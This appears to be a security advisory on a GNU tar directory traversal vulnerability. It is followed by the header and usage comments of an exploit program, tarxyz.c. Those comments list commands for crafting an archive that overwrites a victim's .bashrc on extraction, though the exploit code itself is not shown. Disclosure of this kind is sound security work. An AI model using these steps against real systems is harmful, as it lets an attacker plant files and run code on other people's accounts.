GNU Tar is prone to a vulnerability that may allow an attacker to place files and overwrite files in arbitrary locations on a vulnerable computer. These issues present themselves when the application processes malicious archives.
|
|
|
|
A successful attack can allow the attacker to place potentially malicious files and overwrite files on a computer in the context of the user running the affected application. Successful exploits may aid in further attacks.

* tarxyz.c - GNU tar directory traversal exploit.
|
|
* Written by Teemu Salmela.
|
|
*
|
|
* Example usage (creates a tar file that extracts /home/teemu/.bashrc):
|
|
* $ gcc -o tarxyz tarxyz.c
|
|
* $ ./tarxyz > ~/xyz.tar
|
|
* $ mkdir -p /tmp/xyz/home/teemu/
|
|
* $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
|
|
* $ cd /tmp
|
|
* $ tar -rf ~/xyz.tar xyz/home/teemu
